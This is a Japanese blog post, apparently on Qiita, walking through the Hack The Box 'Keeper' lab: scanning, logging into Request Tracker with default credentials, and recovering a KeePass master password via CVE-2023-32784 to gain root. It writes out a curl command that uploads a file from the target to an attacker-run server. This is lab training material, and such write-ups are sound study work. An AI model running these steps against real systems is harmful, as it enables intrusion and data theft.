7
4

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

【Hack The Box】Keeper【WriteUp】

Last updated at Posted at 2024-02-12

初めに

どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は Hack The Box(以下リンク参照) の「Keeper」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。

Discovery

ポートスキャン

今回はRustScanで高速スキャンしてみた。

┌──(root㉿kali)-[~/work]
└─# rustscan -a 10.129.201.50 --top --ulimit 5000
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Nmap? More like slowmap.🐢

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.201.50:22
Open 10.129.201.50:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-12 22:47 EDT
Initiating Ping Scan at 22:47
Scanning 10.129.201.50 [4 ports]
Completed Ping Scan at 22:47, 0.28s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:47
Completed Parallel DNS resolution of 1 host. at 22:47, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 22:47
Scanning 10.129.201.50 [2 ports]
Discovered open port 22/tcp on 10.129.201.50
Discovered open port 80/tcp on 10.129.201.50
Completed SYN Stealth Scan at 22:47, 0.29s elapsed (2 total ports)
Nmap scan report for 10.129.201.50
Host is up, received reset ttl 63 (0.27s latency).
Scanned at 2023-08-12 22:47:03 EDT for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.73 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (128B)

ポート22、80が公開されてそう。
実際に80にアクセスしてみると、「keeper.htb」にアクセスできませんと言われるのでDNSの設定を投入していく。

Collection

ドメイン環境設定

今回BOX環境にDNSはないので、自身のkalilinuxで名前解決できるようにする。

┌──(root💀kali)-[~/work]
└─# vim /etc/hosts   

以下を投入。

10.129.29.117    keeper.htb tickets.keeper.htb

疎通確認を行う。

┌──(root㉿kali)-[~]
└─# ping tickets.keeper.htb

実際にHTTPでアクセスするとtickets.keeper.htbにリダイレクトされる。

サイト探索

httpサービスが空いていたのでどうせWebに穴があるんだろうなというメタ読みからサイト探索していきます。

Subdomain探索

以下サイトからサブドメインのリストをダウンロード

┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/bitquark-subdomains-top100000.txt

ffufで探索。

┌──(root㉿kali)-[~/work]
└─# ffuf -w ./bitquark-subdomains-top100000.txt:FUZZ -u http://tickets.keeper.htb/ -H "HOST: FUZZ.keeper.htb" -fs 149 -t 150

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://tickets.keeper.htb/
 :: Wordlist         : FUZZ: /root/work/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.keeper.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 149
________________________________________________

[Status: 200, Size: 4236, Words: 407, Lines: 154, Duration: 295ms]
    * FUZZ: tickets

:: Progress: [100000/100000] :: Job [1/1] :: 534 req/sec :: Duration: [0:03:21] :: Errors: 0 ::

何もなさそう。

ブラウジング

ブラウザでアクセスすると、Best Practical Request Tracker(RT)のログイン画面が見える。
以下のデフォルトのPasswordを投入するとrootアカウントで管理画面に侵入することが出来た。

1.png

更にブラウジングしていく。
2.png
あー、CSRF対策のトークンでうるさい。。
頑張ってブラウジングしていると、「lnorgaard」のUserを発見する。
このUserを調査すると以下のコメントが記載されているページを発見した。

3.png

このPasswordでSSHしてみる。

4.png

侵入成功しました。Userフラグゲットです。
え、簡単...

Privilege Escalation

Transfer

怪しいファイルRT30000.zipがあるのでlocalに転送して解析したいと思います。
攻撃マシンにuploadserverを立てます。

┌──(root㉿kali)-[~/work]
└─# python -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

攻略対象マシンで以下のコマンドを打ちます。

lnorgaard@keeper:~$ python3 -c "import requests;requests.post(\"http://10.10.14.68:8000/upload\",files={\"files\":open(\"/home/lnorgaard/RT30000.zip\",\"rb\")})"

上手いこと通らないので素直にcurlします。

lnorgaard@keeper:~$ curl -X POST http://10.10.14.68:8000/upload -F 'files=@/home/lnorgaard/RT30000.zip'
┌──(root㉿kali)-[~/work]
└─# python -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.208.133 - - [14/Aug/2023 05:59:56] [Uploaded] "RT30000.zip" --> /root/work/RT30000.zip
10.129.208.133 - - [14/Aug/2023 05:59:56] "POST /upload HTTP/1.1" 204 -

きました。中身を確認すると、KeePassのダンプファイルとkdbxファイルがあります。

┌──(root㉿kali)-[~/work]
└─# ls -tla
total 335744
drwxr-xr-x  2 root root      4096 Aug 14 06:00 .
-rw-------  1 root root  87391651 Aug 14 05:59 RT30000.zip
-rwxr-x---  1 root root 253395188 May 24 06:51 KeePassDumpFull.dmp
-rwxr-x---  1 root root      3630 May 24 06:51 passcodes.kdbx

KeePass

CVE-2023-32784

このままjohnさんでKeePassのkdbxファイルを開くPasswordを総当たりしてもいいのですが、折角Dumpファイルがあるので別の手段があるかもしれません。ネットで検索すると、以下の記事が見つかりました。

GithubでこのCVE-2023-32784を利用できるToolを探ると以下のリポジトリを発見!

.NETのToolなのでWindows環境が何かと便利なのでそっちで解析します。
以下のようにVisual Studioでコンパイルします。
5.png
実行!
6.png
ん????読めないCharacterがあるってことかな???
じゃ、UTF-8、、、うまくいかない、、、、
ナニコレ、、、、

Rødgrød

そういえばlnorgaardでRTにログインした際に変なラテン文字が見えたな...
という事でラテン文字の正規表現をコードに加えてコンパイルしてみる。
8.png
実行!
9.png
出てきたけど、、、なんこれ、、、
まぁいいや、これでkdbxファイルを開いてみます。
、、、ダメだ。
意味わからん。検索しよう。。。
image.png
なんだこれは。

Wikiではデンマークの料理だと解説されている。「rødgrød med fløde」で入力してみる。
10.png
みえた!!!!
これはデンマーク人にはラッキー問題かもしれないな。

このPassでSSHしてみる。
だめだった。ならこのKeePassのNoteに記載されているPuTTYで入ってみる。
※Windows環境大活躍

PuTTY

PuTTY-User-Key-File-3: ssh-rsaと書いてある部分をすべてコピーし、ppkファイルで保存します。
11.png
秘密鍵にこのppkファイルを指定してログインします。
12.png
13.png

きた!!!root権限奪取!!!!

まとめ

image.png
これで特権昇格に成功し、Root権限奪取に成功しました。
今回のBoxは簡単といいつつ捻りのある問題でした。。。
こんなんデンマーク人じゃないとわからんて!

今回もセキュリティエンジニアの皆さんの助けになればなと思います。

7
4
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
7
4

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?